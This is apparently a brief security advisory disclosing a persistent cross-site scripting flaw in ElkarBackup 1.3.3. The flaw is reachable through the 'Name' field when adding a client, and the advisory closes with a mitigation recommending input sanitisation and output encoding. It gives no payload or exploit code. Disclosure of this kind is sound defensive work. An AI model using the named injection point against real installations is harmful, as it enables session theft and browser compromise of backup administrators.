ElkarBackup 1.3.3 – Persistent Cross-Site Scripting

The ElkarBackup version 1.3.3 is vulnerable to persistent cross-site scripting. An attacker can inject malicious scripts through the 'Name' section when adding a client, leading to the execution of arbitrary code on the user's browser.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input before displaying it on web pages and implement proper input validation and output encoding.
